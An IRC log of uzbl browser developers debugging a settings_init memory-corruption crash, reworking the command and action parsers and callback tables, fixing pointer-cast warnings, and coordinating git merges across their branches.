10:47 < barrucadu> I've noticed that settings_init() causes breakage - not sure when that began
10:47 < barrucadu> but "< ~/.config/uzbl/config ./uzbl --config """ works fine
10:47 < Dieterbe> code does not cause breakage. people cause breakage
10:47  * rob| is going to sign the lease for the new appartment later today
10:48 < rob|> moving again..
10:48 < barrucadu> :)
10:48 < barrucadu> Wait, is that good or bad? <.>
10:48 < barrucadu> The "again" suggests it's bad. :(
10:49 < Dieterbe> it also suggests good
10:49 < rob|> well, it's good though moving is always annoying, so much work ;)
10:50 < barrucadu> So, has anyone else noticed breakage in settings_init()? I'm fairly certain I haven't touched it since merging from Dieter, so it's not something I've broken (as I do fairly often :p)
10:51  * Dieterbe hides
10:51  * barrucadu points
10:52 < barrucadu> It's all your fault! <.>
10:52 < barrucadu> :p
10:52 < Dieterbe> probably :)
10:53 < rob|> hmm, probably due to the usage of set_var_value in setting_init
10:53 < Dieterbe> well i did some changing to settings_init, but IIRC that was all in a separate branch
10:54 < Dieterbe> oh yeah, that i changed too, a few days ago
10:54 < Dieterbe> i changed so that inside settings_init, set_var_value is used instead of accessing the vars directly
10:54 < barrucadu> Hmm, no, that's not it
10:54 < Dieterbe> but that should work, as the hash tables etc are created before settings_init is called
10:55 < barrucadu> "*** glibc detected *** ./uzbl: free(): invalid next size (fast): 0x000000000083b0f0 ***"
10:56 < barrucadu> That's with my set status_format line commented out, without the comment I get this "*** glibc detected *** ./uzbl: malloc(): memory corruption: 0x0000000000af1320 ***"
10:56 < rob|> try commenting those lines in settings_init, for me it doesn't segfault anymore after that
10:57 < barrucadu> I have
10:57 < rob|> i have a config in "~/.config/..." and it segfaults if i do "./uzbl < otherconfig" - after commenting those lines it doesn't do that
10:58 < barrucadu> A backtrace and memory map gets dumped to the terminal, along with an error about memory corruption, a problem freeing, etc...
10:59 < barrucadu> Oh. Commenting out "parse_cmd_line(readbuf);" 'fixes' it - uzbl launches
10:59 < DuClare> rob|, Why do we have a separate set of commands and actions?  They could be unified..
10:59 < DuClare> Basically we have two different parsers that are used for different set of functionality which however can call each other ..
11:02 < rob|> barrucadu: try: set_var_value("status_format", g_strdup(STATUS_DEFAULT));
11:02 < rob|> in settings_init, respectivly for the other set_var_value calls there
11:03 < Dieterbe> DuClare: yeah, that was the original goal. not sure if it's really possible though, we should think hard before attempting unifying them. and if you want to do it, do it in a separate branch
11:03 < rob|> DuClare: so, would you suggest moving the action parsing to regexes, too?
11:03 < barrucadu> rob|: Same problem. It doesn't occur when "parse_cmd_line(readbuf);" is commented out - so could it be a problem with that function?
11:05 < rob|> no, rather set_var_values trying to free an invalid pointer
11:05 < DuClare> rob|, Do we need regexes at all?  I don't think we do
11:05 < DuClare> Dieterbe, Yeah, I might want to try it
11:06 < rob|> well, it so damn easy to write a parser using those. and i also think it is quite efficient
11:07 < rob|> DuClare: what would you suggest instead? a set of strsplit/strstr calls?
11:08 < DuClare> rob|, The quotation system I wrote for actions
11:08 < DuClare> But, I'll ponder that again later.  Now I have to fix this argvector thing
11:08 < rob|> wouldn't that mean we'd need to quote commands in a not so straightforward way? (didn't look into your code, so forgive my ignorance)
11:09 < DuClare> rob|, I think the quotation system is rather straightforward.  Words separated by ws become separate parameters.  If you enclose them in quotes, you can have multiple space separated words in one param
11:10 < DuClare> rob|, http://hikari.serveftp.org/pc2.conf
11:10 < DuClare> It's in use there
11:11 < Dieterbe> and does it work when you want to use quotes inside arguments?
11:11 < Dieterbe> they get escaped right?
11:11 < DuClare> You mean %s?  Not escaped automatically yet, but it's on my todo.  A quick fix, if you will.
11:13 < Dieterbe> no i mean in general
11:13 < DuClare> Yes, escaping is supported
11:13 < Dieterbe> quotes can be anywhere in arguments (eg page titles), special chars in url strings etc
11:14 < DuClare> Or rather escapes are supported.  No automatic escaping is performed yet
11:14 < DuClare> Page titles need not be escaped, because they're not a part of the string that gets split
11:14 < DuClare> They're added to the argument vector as-is
11:15 < Dieterbe> ah
11:16 < Dieterbe> ok whatever. i'm just saying: it should all work :P
11:16 < Dieterbe> i like the idea, it would be nice is everything was a command, and commands could call each other (like bind etc)
11:17 < DuClare> That'd also get rid of duplicate concepts (and thus, duplicate code)
11:17 < DuClare> Anyway, I'll finish this first before going into that
11:19 < Dieterbe> ok
11:19 < Dieterbe> though we will have a lot more commands then just the basic set/get/bind/..
11:19 < Dieterbe> because there are lots of specific actions
11:20 < Dieterbe> but that's ok i guess
11:20 < DuClare> Dieterbe, Basically I'd move the COMMANDS into what now are ACTIONS
11:23 < Dieterbe> i prefer the word "command" over "action" :) fwiw
11:23 < DuClare> Yup
11:32 < rob|> hmm, so we'd need to apply the unquoting functions to all commands, wether they contain quotes or not. i.e. walking through every command char by char and eventually performing the unqutoing actions
11:33 < rob|> wel..
11:33 < rob|> +l
11:34 < rob|> not sure how well glib's regex optimizer work, though i'd guess it is faster than walking char by char through strings
11:35 < rob|> on the other hand dzen does something very similar to duclare's approach without any performance issues
11:40 < DuClare> Hmm.
11:40 < DuClare> I think my argvectors work now :O
11:41 < DuClare> rob|, I used GArray because it's easy to construct, easy to modify, and you can easily access its data as a plain charptrptr
11:41 < Dieterbe>  rob|> hmm, so we'd need to apply the unquoting functions to all commands, wether they contain quotes or not. i.e. walking through every command char by char and eventually performing the unqutoing 
11:41 < Dieterbe>                  actions
11:41 < Dieterbe> there are glib functions for that, no?
11:42 < DuClare> My splicer does the unquoting
11:42 < Dieterbe> (okay they do what you say, but i'm curious if we need to implement that logic ourselves)
11:45 < rob|> how do the g_string_append functions work interenally? do they allocate the requested memory size on each run or do they operate blockwise?
11:46 < rob|> i mean doing a realloc for every appended char is - well - ugly and slow
11:48 < DuClare> I'd expect glib devs to know how to handle things in an efficient manner.. but then again no gaurantees :)
11:49 < rob|> hehe, that reminds me of that bitish comedy show  ... "lowered expactations" ;)
11:50 < Dieterbe> hmm don't know that show
11:50 < rob|> i think that was part of the Little Britain show
11:51 < Dieterbe> oh, i've seen all little brittains so i should know it
11:51 < rob|> hmm, i might be wront, though
11:53 < rob|> DuClare: is your branch ready to be merged, i'd like to give it a shot
11:53 < DuClare> rob|, Wait a sec
11:53 < DuClare> Actually hmm
11:53 < DuClare> It should actually be.  I'm developing argv in a separate branch, so experimental should be okay
11:55 < rob|> ok, will try
11:56 < rob|> so, merge went without any problems. there are a couple of warning, though. mainly 'char*' vs. 'const char*' ones
11:57 < barrucadu> Dieterbe: I've just checked, and it was definitely merging your branch that broke uzbl for me :(
11:58 < barrucadu> I'll wait for a bit and merge after you've had some changes, and see if the problem vanishes
12:00 < Dieterbe> well, the problems won't magically vanish ;) just look at the networkgraph to see if anyone made a fix related to it. if not, feel free to investigate yourself (otherwise you'll need to wait till i get home. but i have plenty of merging todo this evening :/)
12:02 < barrucadu> I can be hopeful: code gremlins could steal my laptop and write a fix in my sleep :p
12:04 < Dieterbe> :)
12:13 < rutkowski> Hey, can I use flash with uzbl?
12:13 < DuClare> Yup
12:13 < Dieterbe> btw guys, if you're reasonably convinced that code from other people will end up in my experimental eventually, feel free to merge it into your own trees and test a bit (and let me know about it :)), makes the general merging process a bit easier
12:15 < rutkowski> Cool, where should I put libflashplayer.so ...?
12:18 < Dieterbe> rutkowski: i think whereever your package manager puts it
12:19 < Dieterbe> rutkowski: i have flash and webkit installed through my package manager and all works fine
12:19 < rutkowski> Dieterbe: arch?
12:20 < Dieterbe> rutkowski: yea
12:20 < Dieterbe> /usr/lib/mozilla/plugins/libflashplayer.so
12:20 < Dieterbe> that's where it is for me
12:20 < Dieterbe> quite ironic to be in a mozilla subfolder, but hey it works :P
12:20 < ruskie> lol
12:21 < rutkowski> hehe
12:21  * rutkowski runs pacman -S flashplugin
12:21  * ruskie has no clue where flash goes as he doesn't use it
12:22 < DuClare> rob|, Sh, echo, act and script used together need some fugly nested quotation.. :<
12:22 < rob|> rutkowski: basically if the plugins work in firefox they should also work with webkit, it supports the very same NPAPI
12:22 < rutkowski> ahh ok
12:23 < ruskie> I try gnash every so often but frankly don't need it... yaydl/youtube-dl works well enough with mplayer
12:23 < rob|> this means you could also use other firefox plugins (not extensions, though!)
12:23 < DuClare> bind    XS        = sh 'echo "act script \'alert (\\\"This is sent by the shell via a fifo\\\")\'" > "$4"'
12:23 < Dieterbe> hmm you mean like mplayerplugin et al?
12:24 < rob|> Dieterbe: yes, according to webkit blogs it fully supports NPAPI
12:24 < Dieterbe> ah, there is a nice list at http://en.wikipedia.org/wiki/NPAPI
12:25  * ruskie doesn't see any nice list there
12:26 < Dieterbe> "Popular plugins"
12:26 < ruskie> lol
12:26 < DuClare> rob|, Currently every action gets the args spliced AND unquoted.  It's fine for most but certain actions such as script (or js, if you've merged barrucadu's rename) would do better if they got the string unquoted.  :x
12:26 < ruskie> that by definition isn't a nice list
12:27 < rutkowski> whooo it works :D
12:28 < rob|> DuClare: hmm, so would it be reasonable to provide unquoted strings just to those actions?
12:28 < Dieterbe> ruskie: i don't know what dictionary you use, but mine doesn't define popular as "not nice" :)
12:28 < ruskie> Dieterbe, Experience Dictionary ;)
12:29 < ruskie> from personal experience
12:29 < DuClare> rob|, Yep, I think so, but I'm wondering what's the best way to tell "this action wants the string without unquotation"
12:29 < DuClare> Lambda functions in the hash table would make this sooo easy :<
12:31 < rob|> well, hash_actions { key -> array[value, boolean want_quotes] }
12:31 < rob|> ?
12:31 < DuClare> Perhaps
12:31 < DuClare> rob|, That reminds
12:31 < rob|> that would make it easy for actions developers to register their actions
12:32 < DuClare> rob|, I'd like to do a similar thing for the variable list: key -> [(void*)ptr, gboolean is_string].  Then we could remove redundant checks from set_var_value and get_var_value..
12:33 < rob|> DuClare: only, partially though. we'd still need to check the for the names
12:34 < DuClare> Only for those that need to run code
12:34 < rob|> yep
12:37 < Dieterbe> sounds good to me (this last proposal, i didn't understand the quoting stuff :P )
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13:20 < barrucadu> Aha, I have found the problem! It's the "set" commands (or actions, whatever they are...)
13:20 < DuClare> They're commands :)
13:21 < barrucadu> I'll see if I can fix it later
13:21 < DuClare> The website is being quite slow
13:21 < DuClare> :}
13:39 < rob|> btw, started to rewrite the command names to pointer mappings table to the thing we discussed above
13:39 < DuClare> Command or action?
13:39 < DuClare> I already did the thing for actions
13:41 < DuClare> And it works
13:41 < DuClare> bind    XS        = sh 'echo "act script alert (\\"This is sent by the shell via a fifo\\")" > "$4"'
13:41 < DuClare> Got rid of a layer of quotation. :)
13:42 < barrucadu> Hmm, "set show_status", "set status_top", and "set useragent" are the only set commands which don't cause uzbl to die. However, if more than one of those is in the config file, uzbl dies.
13:44 < Dieterbe> o_O that must be something new since today
13:44 < Dieterbe> cause yesterday i could load sampleconfig-dev and my personal conf just fine
13:44 < barrucadu> I've had the problem since I merged last night :(
13:44 < Dieterbe> you sure you merged correctly then?
13:45 < barrucadu> Yes, there was only one conflict - with my toggle_insert_mode function (someone had renamed it to "set_insert_mode"), nothing to do with set_var_value
13:45 < Dieterbe> barrucadu: try to git checkout <sha 1 hash of my last commit>, then you can test my version (not my changes merged into yours), i think
13:47 < barrucadu> It works, so the problem is something mysterious in my branch O.o
13:48 < Dieterbe> woohoo
13:48 < Dieterbe> :P
13:48 < barrucadu> :(
13:48 < barrucadu> I'll try reverting and remerging
13:49 < Dieterbe> or just git checkout <your branch>, and do git diff <sha 1 hash of my last commit>
13:49 < Dieterbe> and make sure all the differences are correct
13:50 < rob|> DuClare: oh, you did? is the code viewable?
13:50 < rob|> rather, is it somewhere on the web?
13:50 < DuClare> Final test and I'll push
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13:51 < barrucadu> Dieterbe: Just reverting my merge seems to have done the trick, I merged from DuClare today, who has merged from you, so... uzbl is actually uzbl again :D :p
13:51 < Dieterbe> barrucadu: heh, that's one way to do it :)
13:56 < DuClare> rob|, Done, pushed, on my experimental.  Here's the commit : http://github.com/DuClare/uzbl/commit/757b51da21442ffc4f3b39dfe173999bfcb8a3c8
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13:59 < rob|> ok
14:01 < DuClare> A little bug, the code splits the args even if the split vector is never used.  I'll fix in the evening; now I have to attend to an exam
14:02 < Dieterbe> DuClare: good luck mate :)
14:02 < rob|> looks, ok. though did it for the commands like struct cmd_prop { void **ptr; int is_string}; struct var_to_name { char *name; struct cmd_prop c;}
14:03 < rob|> i.e. structs in contrast to arrays, so you could add other non pointer properties easily
14:04 < DuClare> Yup, I thought of that, but condeemed it unneccessary, at least for the time being
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14:37 < rob|> http://github.com/robm/uzbl/commit/0eabe81590661480b657890af6027ad3dd84ac8d
14:37 < rob|> hope i did not overlook something
14:38 < rob|> if this works, i'll go a step further and add a function pointer to the properties that is being called on each set command
14:38 < rob|> that way we can get rid of the strcmps
14:39 < rob|> and perform random actions for each command
14:39 < Dieterbe>  rob|> if this works <-- didn't you say yesterday you only commit stuff that works? :P
14:40 < rob|> sure, i tested a couple of ways to feed the config and couldn't see any errors, though i'd say it works ;)
14:41 < rob|> s/though/so/
14:41 < Dieterbe> i'm gonna have a hard time merging your+duclares+barrucadu's stuff tonight :P
14:42 < Dieterbe> feel free to merge already from each other if you like each others stuff
14:43 < rob|> DuClare: can you corrent the argument types for spawn, spawn_sh and the handlers
14:43 < rob|> always get const char* vs. char* warnings
14:44 < rob|> Dieterbe: the merge should be rather seamless as we did work on totaly different things
14:45 < rob|> not sure about barrucadu's stuff though
14:46 < rob|> though duclare, maybe you could merge my master branch so we can double check everything is ok?
14:53 < Dieterbe> rob|: is there a specific reason you prefer developing on master instead of experimental?
14:54 < rob|> Dieterbe: no, i just forget to explicitly set the branch on a push and enede up with what i've got now :(
14:54 < rob|> *forgot
14:55 < Dieterbe> well, since in git a branch is basically a pointer to a commit, i'm sure it must be easy to correct this
14:56 < barrucadu> git branch -m [oldname] [newname]
14:56 < rob|> probably, though i focused on uzbl and not so much on all this git magic lately ;)
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15:14 < barrucadu> I've merged DuClare's branch, and am working through the warnings... what does "cast from pointer to integer of different size" mean?
15:23 < Dieterbe> well, a pointer is some sort of integer i think
15:23 < Dieterbe> or at least, you can cast it to one
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15:23 < Dieterbe> but DuClare is on 64bit, so his pointers are 64bit
15:23 < Dieterbe> he's probably casting to 64 bit ints.. or something?
15:23 < entgod> hi, new uzbl convert here :)
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15:23 < Dieterbe> welcome :)
15:23 < rob|> ok, added callback functions to the commands
15:23 < barrucadu> :D
15:24 < rob|> no need for strcmp/var_is() any more
15:24 < entgod> you know, the name and network of this channel should prbably be on uzbl.org :P
15:24 < rob|> i converted a couple of commands to use the callback system, though there are still some to rewrite. anyone?
15:24 < Dieterbe> RIP var_is, the short time we had with you was pretty cool
15:24 < barrucadu> entgod: It is, isn't it? O.o
15:24  * barrucadu looks
15:25 < barrucadu> "You can find us in IRC at irc.freenode.net, in channel #uzbl."
15:25 < entgod> i didn't find it :)
15:25 < entgod> O_o
15:25 < barrucadu> Maybe it should be a bit more visible
15:25 < entgod> maybe i'm blind
15:26 < Dieterbe> barrucadu: heh. i just discovered http://www.uzbl.org/commits.php is that page new or is it just me?
15:27 < Dieterbe> entgod: you must be . it's on the front page :P
15:27 < entgod> heh :)
15:27 < entgod> i tried to look for it in the contribute page
15:28 < barrucadu> Dieterbe: I added it yesterday
15:28 < Dieterbe> barrucadu: cool
15:29 < barrucadu> I'm pretty sure I mentioned yesterday that the commit page / list will more or less always be wrong, as the github feeds only mention the last 10 commits
15:29 < barrucadu> That's not really a vital problem though
15:29 < rob|> oh, there is a problem don't merge yet
15:29 < Dieterbe> barrucadu: i saw that
15:29 < Dieterbe> barrucadu: just didn't know you made a separate page :)
15:29 < barrucadu> :)
15:30 < Dieterbe> btw should we make a new page ? "community" or something, where we list our irc channel, discussion thread, the fact that we don't have a ML, maybe links to our github pages too
15:30 < barrucadu> I suppose it could be fixed by making a cron job to download/cache the feeds every hour or two... or parse the feeds and put the commits into a database, or something...
15:30 < barrucadu> ok
15:30 < barrucadu> I'm just attempting to make my horrible read_file_by_line function use GArrays first :p
15:30 < Dieterbe> barrucadu: that would be slightly overkill imho, we can always refer to github if they want more details
15:30 < barrucadu> I suppose
15:31 < barrucadu> Maybe split it up into "recent master" and "recent experimental" then?
15:32 < Dieterbe> yeah that you can do, if it's easy to do
15:33 < barrucadu> It is easier to do than the current method :p
15:33 < barrucadu> I'll do it later then
15:37 < barrucadu> It works :D
15:39 < Dieterbe> i love you guys. all of you. snif
15:48 < rob|> ok, should work again
15:49 < barrucadu> Dieterbe: I've split the recent commits into master/experimental groups: http://www.uzbl.org/ http://www.uzbl.org/commits.php :)
15:52 < Dieterbe> k
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16:01 < rob|> u
16:01 < rob|> u
16:01 < rob|> oh, sry
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16:09 < rob|> hmm, maybe is_string should rather be type and be initialized with a enum { TYPE_INT, TYPE_CHAR, ...}
16:11 < Dieterbe> that's a good idea, and that reminds me
16:12 < Dieterbe> shouldn't we make a more generic toggle action (or command, whatever the new name is), instead of toggle_statusbar, toggle_insertmode, toggle_..
16:12 < Dieterbe> and the function would check if type == boolean
16:33 < rob|> http://github.com/robm/uzbl/commit/b11a46f8faf114479ab39034f5f33b080ab3062a  <-- type field
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16:44 < Dieterbe> rob|: looks good to me. how do you like my toggle proposal?
16:48 < barrucadu> Dieterbe: It's a good idea :)
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17:08 < barrucadu> From the website: "Note that we do not depend on any Gnome libraries such as gconf. That would be something worth complaining about :)"
17:08 < barrucadu> We depend on libsoup though
17:08 < barrucadu> And that depends on gconf
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17:09 < Phillemann> barrucadu: Not on my machine. It depends on glib, libxml2 and ssl.
17:10 < barrucadu> I'll look at the PKGBUILD
17:13  * barrucadu reads a thread on the Arch ML
17:14 < rob|> so finally, http://github.com/robm/uzbl/commit/ef431d779db7142d00e4acabb3445ca7d02203e5
17:15 < Phillemann> rob|: Are you like...the code cleaner? :D
17:17 < rob|> well, kinda ;). not i implemeted the former system and had in mind to tidy it up at some point
17:17 < rob|> s/not/no, /
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17:18 < Phillemann> It's a good thing to have such a person on a dev team.
17:18 < barrucadu1> Yes, it is. Who are we talking about? I missed the last minute or two <.>
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17:27 < DuClare> rob|, Sorry, I'm still at school for about 90 minutes, and I'll stop by a supermarket on my way home.  I'll get acquaintanced with your code as soon as I'm home.. maybe I can fix the warnings as well.  Did you merge my argv stuff and whatever I did, or do we have to resolve conflicts?
17:28 < DuClare> Dieterbe, AFAIK the ptr warnings come on 64bit only and it's because ints are 32bit while ptrs are 64 bits.  I fixed them once but that broke it on 32bit so I had to revert the fix..
17:29 < DuClare> Dieterbe, Hopefully I can sync my stuff with rob|'s later in the evening, after which you shouldn't have trouble merging ours.  I can do it the other way around too if you like..
17:31 < Phillemann> Why do you cast to (int) at that point?
17:31 < Phillemann> You can do a switch() on any integral type.
17:31 < Phillemann> ...such as pointers. :)
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17:32 < DuClare> Phillemann, Because the data is int
17:33 < DuClare> Stored as a pointer rather than an int
17:33 < DuClare> Basically, it's cast from int to ptr and back to int
17:33 < Phillemann> DuClare: What types do those SYM_ constants have?
17:34 < DuClare> Int
17:34 < Phillemann> Oh.
17:34 < Phillemann> That's kinda crappy.
17:34 < rob|> DuClare: sure, no hurry. i'll be away in a couple of mins anyways.
17:35 < rob|> DuClare: i did merge from you, though i guess it wasn't your latest commit
17:35 < rob|> Phillemann: why?
17:36 < rob|> oh, nvm
17:36 < Phillemann> rob|: Why would you return a pointer, which you have to cast to int to compare it to some macro constant?
17:36 < DuClare> They're not macro constants
17:36 < DuClare> They come from an enum
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17:37 < DuClare> Phillemann, The g_ parser function we use returns a pointer..
17:38 < rob|> hmm, is it just me or does uzbl feel more responsive with the callback thing?
17:38 < DuClare> I'm dying to try it
17:38 < DuClare> I'm also dying to get to read the source .. <,<
17:38 < Phillemann> I still have to fix my webkit. :/
17:45 < Masca> How much mem is using uzbl for you?
17:45 < DuClare> Last time I checked each "empty" instance took about ten megs
17:45 < DuClare> That was some time ago..
17:45 < DuClare> Hmm.
17:46 < Masca> what do you mean with "empty"?
17:46 < DuClare> No page loaded
17:47 < Phillemann> DuClare: Hmm, instead of casting to int, you could just use "v_int" of the returned union instead.
17:48 < DuClare> Maybe
17:51 < Phillemann> Compiles and works for me...but it's still not very nice :/
17:51 < DuClare> Why?
17:52 < Phillemann> Well, what you do then is not a real cast, you just interpret the underlying bits as an int (not an int64), so maybe with another endianness configuration it'll crash.
17:53 < DuClare> There's no problem if you do the same at the other end
17:54 < DuClare> Well, shouldn't be.  Don't know what glib does internally.
17:54 < Phillemann> I wonder why you can define those symbols as _pointers_ anyway. Are you supposed to cast them to callback function pointers?
17:55 < DuClare> Callback or data, I presume
17:55 < DuClare> Anyway, the point is, the function TAKES pointers rather than <insert_the_type_you_want_to_use> so something must be done anyway
17:55 < Phillemann> It would be best if you use them that way, then. It's not as undefined.
17:56 < DuClare> That's like political correctness
17:56 < DuClare> An unneccessary sidestep :p
17:57 < Phillemann> Hehe, I admit I'm a bit pedantic. ;)
17:58 < DuClare> Well, I like strictness and all but there's a limit to it.  Espacially in this case as I don't see the true benefit of doing it "the right way"..
17:58 < Dieterbe> DuClare> Dieterbe, Hopefully I can sync my stuff with rob|'s later in the evening, after which you shouldn't have trouble merging ours.  I can do it the other way around too if you like.. --> with "other way around" what do you mean exactly?
17:58 < DuClare> And it's not quite doable anyway
17:59 < DuClare> Dieterbe, I merge with rob, then I merge yours and you should get a conflict-free merge
17:59 < Dieterbe> barrucadu: oh noes, you're right, libsoup depends on gconf on arch. aaaaaaarrrrrrg
17:59 < Dieterbe> barrucadu: i hate gconf :P
18:00 < DuClare> Phillemann, The thing is, in the end these integers are just constants, not some variables you can point to..
18:00 < Dieterbe> DuClare: check http://developer.gnome.org/doc/GGAD/cha-glib.html, you think functions like GPOINTER_TO_INT will help you?
18:00 < DuClare> Umm, no
18:00 < DuClare> Actually they are ints
18:00 < DuClare> Because they're stored in the symp table
18:01 < Dieterbe> DuClare: ok . and yeah, please merge from rob| and then from me :)
18:01 < DuClare> Dieterbe, I might check it when I'm home, if I have time.  Phillemann brought this up
18:01 < Dieterbe> DuClare: or maybe ever first from me, then from rob, since my changes are older then his
18:01 < Phillemann> I'm sorry :D
18:01 < DuClare> Phillemann, It's okay, I don't like these warnings either :]
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18:02 < Phillemann> GPOINTER_TO_INT seems like the thing we need.
18:02 < DuClare> And, like I said, I tried to fix them once and failed as it caused a regression on 32bit so I gave up and started doing something productive :>
18:02 < DuClare> Didn't spend too much time on it..
18:02  * barrucadu1 is going to spent tomorrow after his two exams hunting down his internet conenctivity problem...
18:03 < DuClare> Gtg, lesson >
18:03 < Phillemann> Ah great, warnings are gone after adding GPOINTER_TO_INT
18:15  * Dieterbe driving home
18:15 < Dieterbe> cya later dudes
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18:27  * Barrucadu has pizza
18:29 < Phillemann> Uhm, in find_xdg_file, you allocate 1024 bytes to "temporary_file" and do not free them if "file_exists(temporary_file)" returns true.
18:30 < Phillemann> Hmmm, or even worse, you never free them.
18:30 < Barrucadu> I'll tidy that function up afte I finish eating
18:30 < Phillemann> You don't even _need_ to use malloc there :D
18:40 < Phillemann> It's so sad that you cannot just leave out parameter names for functions in C. :/
19:13 < Phillemann> And I fixed my webkit issues. I had to recompile libsoup with --enable-ssl. In case someone else comes in here and asks about certain pages not being loaded. :)
19:25 < DuClare> I'm home.
19:26 < Barrucadu> :)
19:26 < Phillemann> DuClare: Is it currently possible to open a link in a new uzbl instance?
19:27 < DuClare> I never tried it; no clue
19:27 < Barrucadu> Phillemann: Right click, "Open Link in New Window" is currently the only way
19:27 < Barrucadu> I think
19:27 < Barrucadu> Unless someone fixed it...
19:27 < Phillemann> You'd have to combine Javascript and the spawn command or something.
19:28 < DuClare> rob|, ~900 line diff.  I'm about to merge. :>
19:28 < DuClare> Conflict.
19:29 < DuClare> One conflict only.
19:29 < DuClare> Hm.
19:30 < Phillemann> You also have to iterate through the form elements in "bind F" to access those with the keyboard, too. But that should be moved to another file or to C code I think.
19:30 < Phillemann> Do you have some kind of roadmap?
19:31 < DuClare> Phillemann, There is a hint script that handles forms
19:31 < DuClare> Though it has other bugs
19:32 < Phillemann> DuClare: But I'm surprised over how well the mechanism works in Javascript. :)
19:32 < DuClare> Have you not used vimperator?
19:32 < Phillemann> The first thing I'd have tried is to get the link data directly from webkit, somehow.
19:32 < Phillemann> DuClare: I still do...do you do it with Javascript as well? Hmmm. :)
19:33 < Phillemann> s/you/they/
19:33 < DuClare> Well, *I* do it with javascript
19:34 < DuClare> Most likely the others do too :>
19:36 < Phillemann> Anyway, there should be a "loadjavascript" command so you don't pollute your config file with scripts.
19:36 < Barrucadu> Phillemann: There is in my branch :)
19:37 < Phillemann> \o/
19:37 < Barrucadu> Well, it's called "script", and I made "js" the one-line script command
19:40 < Barrucadu> DuClare: Have you merged with rob| yet? If you have, push to github and I'll merge from you
19:40 < DuClare> Just merged, am testingg
19:40 < Barrucadu> ok
19:43 < DuClare> Uh.  Got the strangest regression..
19:43 < Barrucadu> What happened?
19:43 < DuClare> shell_cmd doesn't get set via the config o_O
19:43 < Barrucadu> Your right. That is a strange regression :p
19:44 < DuClare> Uhm
19:44 < DuClare> Other strange things
19:44 < DuClare> Sampleconfig-dev doesn't quite.. work
19:45 < DuClare> Eww..
19:45 < Phillemann> My statusbar disappeared again
19:46 < Phillemann> Is there a key combination for letting it disappear I could have accidently typed?
19:47 < Barrucadu> Phillemann: grep your config file for "toggle_status"
19:47 < Barrucadu> "t" in sampleconfig and sampleconfig-dev
19:47 < Phillemann> Ahhhh, okay.
19:47 < Phillemann> Thanks.
19:56 < DuClare> http://hikari.serveftp.org/fuu.txt -_-
19:57 < Barrucadu> "setting someval" <.>
19:57 < DuClare> I note that it works fine if I specify shell_cmd anywhere after minimum_font_size ...
19:57 < DuClare> -_-
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20:17 < DuClare> rob|, Hah.  You repeated a mistake you had done before.. and I fixed it again <,<
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20:22 < DuClare> Barrucadu, Merged, pushed
20:23 < Dieterbe> evening dudes
20:23 < Barrucadu> hi
20:23 < DuClare> Hi Dieterbe o/
20:24 < Barrucadu> DuClare: ok, I'll merge now
20:26 < Barrucadu> Everything seems to work :)
20:27  * Barrucadu commits
20:27 < Barrucadu> Wow, uzbl.org is taking an age to load. I'll open a support ticket.
20:27 < DuClare> Yeah
20:27 < DuClare> It got annoying when testing
20:32 < Barrucadu> "Please select the type of this request:" one of the options is "OMG! EXTREME CRITICAL EMERGENCY!! EVERYTHING'S BROKEN!! People are DYING" lol
20:33  * Barrucadu selects "Things are broken and I'd like them not to be!"
20:35 < Dieterbe> <insert Barrucadu's hosting provider here> sucks !
20:35 < Barrucadu> :p
20:35  * Barrucadu submits ticket
20:42 < Barrucadu> Ah, I just noticed a bug after merging... switching to insert mode doesn't work
20:42 < Barrucadu> That is really something I should have tested :p
20:42 < Dieterbe> yes you should :P
20:42 < Dieterbe> naughty naughty
20:44 < Dieterbe> if i understand correctly, i just have to merge in from Barrucadu , and i get all stuff from rob| and DuClare as well, right?
20:44 < Barrucadu> Oh, modkey has also stopped working :p
20:44 < Barrucadu> Evidently my testing methods need work
20:45 < DuClare> Dieterbe, Assuming Barrucadu did what I think he did, then yes
20:46 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git diff bar/experimental | wc -l
20:46 < Dieterbe> 1889
20:46 < Dieterbe> woohoo :P
20:46 < Dieterbe> joy
20:46 < Barrucadu> DuClare: is set modkey working for you?
20:47 < DuClare> Barrucadu, Yup
20:47 < Dieterbe> uzbl + dmenu-vertical + history script + youtube = good audio player :)
20:48 < DuClare> Huh, what?
20:48 < DuClare> Youtube = please don't rape the recording any more T_T
20:49 < Dieterbe> ok i should rephrase: it's better then my normal audio setup right now because my autofs is broken and my music is on my other box :P
20:52 < Dieterbe> Barrucadu: you have to pay more attention to the diff when merging (i usually merge with --no-commit and then git diff), because for example the authors file had salinav (or something like that) listed, you merged from me, it was still ok, but somehow in your current tree the authors file is an older version again
20:52 < Dieterbe> same story for the contributing file
20:54  * DuClare heads to sauna, bbl :]
20:54 < Masca> Merge stuff is ugly. =/
20:54 < DuClare> Masca, It's not particularly ugly.  It's convevient and inevitable, suitable for distributed collaborative developement..
20:54 < DuClare> convenient.
20:54 < Masca> I mean, resolving merge conflicts.
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20:57 < DuClare> Well yeah, it can be bothersome.  The problem is somewhat larger here as we have bunches of people working on a very small source.. :V
20:57 < Dieterbe> yea
20:59 < rob|> re
20:59  * Barrucadu commits a fix
21:00 < Dieterbe> Barrucadu: at least http://github.com/Dieterbe/uzbl/commit/b520d89768e989c7312395d3d511b66947763cdb and http://github.com/Dieterbe/uzbl/commit/30131ffa360fc398e8b6393159f992f1adf89af1 are missing in your tree
21:00 < rob|> any bigger problems with my commit?
21:01 < Dieterbe> this one too http://github.com/Dieterbe/uzbl/commit/f913de17dd48887511b058fc4716228ec9419fd0
21:02 < Dieterbe> Barrucadu: ie your missing my 3 last commits. you seem to have my 4th last though
21:02 < Dieterbe> Barrucadu: can you re-integrate those?
21:02 < Barrucadu> Strange, I wonder why I didn't get those when merging fom DuClare
21:02 < Barrucadu> ok
21:02 < DuClare> Barrucadu, Maybe I haven't merged them from Dieterbe
21:02 < Dieterbe> Barrucadu: you merged in from my HEAD ( see http://github.com/Dieterbe/uzbl/network), so at that point you already had them
21:03 < Dieterbe> Barrucadu: but after that they seem to have gotton lost somewhere
21:03 < Barrucadu> How do you merge in one particular commit? (or three, in this case)
21:03 < DuClare> rob|, It seemed to work fine after I added the intptr you dropped from set_var_value.  I'll be back after sauna →
21:03 < Dieterbe> Barrucadu: i think git-cherry-pick
21:04 < Barrucadu> ok
21:05 < rob|> DuClare: ok, very nice
21:06 < Dieterbe> DuClare: have fun
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21:08 < Barrucadu> Dieterbe: Ok, commits have been merged, tested, and commited.
21:09 < Dieterbe> Barrucadu: thanks
21:09 < Dieterbe> diff has gone from 1889 to 1798 lines. woohoo :P
21:10 < rob|> Dieterbe: so, you hadn't any bigger merge conflicts?
